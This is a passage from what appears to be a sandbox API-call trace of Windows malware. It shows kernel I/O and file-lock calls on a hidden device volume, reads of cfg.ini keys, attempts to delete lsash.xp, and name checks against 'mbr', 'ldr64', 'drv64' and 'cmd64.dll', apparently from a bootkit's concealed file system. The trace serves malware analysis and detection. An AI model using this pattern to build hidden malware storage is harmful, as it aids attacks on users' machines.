MemoryDescriptorList=0xfffffa8003b863b0) [0121.118] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.118] IdePortDispatch () returned 0x103 [0121.118] KeWaitForMutexObject () returned 0x0 [0121.118] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.118] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.118] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.118] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.118] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.119] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bc3c70 [0121.119] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.119] KeLeaveCriticalRegion () [0121.119] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.119] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.119] KeEnterCriticalRegion () [0121.119] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.119] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.119] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.119] KeLeaveCriticalRegion () [0121.119] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.119] KeEnterCriticalRegion () [0121.119] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.119] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.119] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.119] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.119] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0121.119] IdePortDispatch () returned 0x103 [0121.119] KeWaitForMutexObject () returned 0x0 [0121.119] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.119] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.119] KeLeaveCriticalRegion () [0121.119] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.119] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.119] KeEnterCriticalRegion () [0121.119] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.119] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035be000 [0121.119] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.119] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.119] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.119] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.119] IdePortDispatch () returned 0x103 [0121.119] KeWaitForMutexObject () returned 0x0 [0121.120] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.120] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.120] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.120] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.120] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.120] IdePortDispatch () returned 0x103 [0121.120] KeWaitForMutexObject () returned 0x0 [0121.120] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.120] KeLeaveCriticalRegion () [0121.120] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.120] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.120] KeEnterCriticalRegion () [0121.120] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.120] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.120] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.120] KeLeaveCriticalRegion () [0121.120] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.120] KeEnterCriticalRegion () [0121.121] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.121] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0121.121] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bba470, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.121] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.121] KeLeaveCriticalRegion () [0121.121] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.121] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.121] KeEnterCriticalRegion () [0121.121] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.121] ExFreePoolWithTag (P=0xfffffa8003bc3c70, Tag=0x0) [0121.121] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.121] KeLeaveCriticalRegion () [0121.121] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.121] ReleaseMutex (hMutex=0xf0) returned 1 [0121.121] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0121.121] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0121.121] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0121.121] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0121.121] KeEnterCriticalRegion () [0121.121] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.121] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.121] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.121] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.121] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.121] IdePortDispatch () returned 0x103 [0121.121] KeWaitForMutexObject () returned 0x0 [0121.121] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.121] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0121.121] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.121] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.121] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.121] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0121.121] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0121.121] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.121] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.121] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0121.121] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.121] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.121] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.121] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.121] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.122] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.122] KeLeaveCriticalRegion () [0121.122] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.122] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0121.122] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0121.122] KeEnterCriticalRegion () [0121.122] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.122] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.122] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.122] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.122] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.122] IdePortDispatch () returned 0x103 [0121.122] KeWaitForMutexObject () returned 0x0 [0121.122] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.122] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0121.123] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.123] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.123] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.123] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0121.123] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0121.123] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.123] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.123] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0121.123] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.123] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.123] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.123] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.123] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.123] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.123] KeLeaveCriticalRegion () [0121.123] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.123] ReleaseMutex (hMutex=0x100) returned 1 [0121.123] Sleep (dwMilliseconds=0x2bf20) [0121.129] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6b65acb0, dwHighDateTime=0x1d24fa4)) [0121.129] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0121.129] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.129] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0121.129] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.129] KeEnterCriticalRegion () [0121.129] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.129] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.129] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.129] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.129] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.130] IdePortDispatch () returned 0x103 [0121.130] KeWaitForMutexObject () returned 0x0 [0121.130] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.130] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.130] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.130] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.130] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.130] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bbe250 [0121.130] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.130] KeLeaveCriticalRegion () [0121.130] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.130] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.130] KeEnterCriticalRegion () [0121.130] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.130] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.130] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.130] KeLeaveCriticalRegion () [0121.130] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.130] KeEnterCriticalRegion () [0121.130] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.130] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.130] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.130] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.130] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0121.130] IdePortDispatch () returned 0x103 [0121.130] KeWaitForMutexObject () returned 0x0 [0121.130] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.130] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.130] KeLeaveCriticalRegion () [0121.130] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.131] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.131] KeEnterCriticalRegion () [0121.131] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.131] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035c1000 [0121.131] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.131] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.131] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.131] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.131] IdePortDispatch () returned 0x103 [0121.131] KeWaitForMutexObject () returned 0x0 [0121.131] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.131] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.131] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.131] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.131] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.131] IdePortDispatch () returned 0x103 [0121.131] KeWaitForMutexObject () returned 0x0 [0121.131] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.131] KeLeaveCriticalRegion () [0121.131] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.132] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.132] KeEnterCriticalRegion () [0121.132] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.132] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.132] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.132] KeLeaveCriticalRegion () [0121.132] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.132] KeEnterCriticalRegion () [0121.132] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.132] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0121.132] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bbd610, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.132] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.132] KeLeaveCriticalRegion () [0121.132] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.132] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.132] KeEnterCriticalRegion () [0121.132] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.132] ExFreePoolWithTag (P=0xfffffa8003bbe250, Tag=0x0) [0121.132] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.132] KeLeaveCriticalRegion () [0121.132] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.132] ReleaseMutex (hMutex=0xf0) returned 1 [0121.132] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.132] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0121.132] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.132] KeEnterCriticalRegion () [0121.132] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.132] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.132] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.132] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.132] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.132] IdePortDispatch () returned 0x103 [0121.132] KeWaitForMutexObject () returned 0x0 [0121.133] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.133] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.133] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.133] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.133] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.133] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bc3d10 [0121.133] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.133] KeLeaveCriticalRegion () [0121.133] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.133] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.133] KeEnterCriticalRegion () [0121.133] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.133] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.133] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.133] KeLeaveCriticalRegion () [0121.133] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.133] KeEnterCriticalRegion () [0121.133] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.133] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.133] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.133] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.133] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0121.133] IdePortDispatch () returned 0x103 [0121.133] KeWaitForMutexObject () returned 0x0 [0121.133] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.133] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.133] KeLeaveCriticalRegion () [0121.133] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.133] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.133] KeEnterCriticalRegion () [0121.133] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.133] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035c2000 [0121.133] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.133] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.133] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.133] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.133] IdePortDispatch () returned 0x103 [0121.134] KeWaitForMutexObject () returned 0x0 [0121.134] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.134] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.134] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.134] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.134] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.134] IdePortDispatch () returned 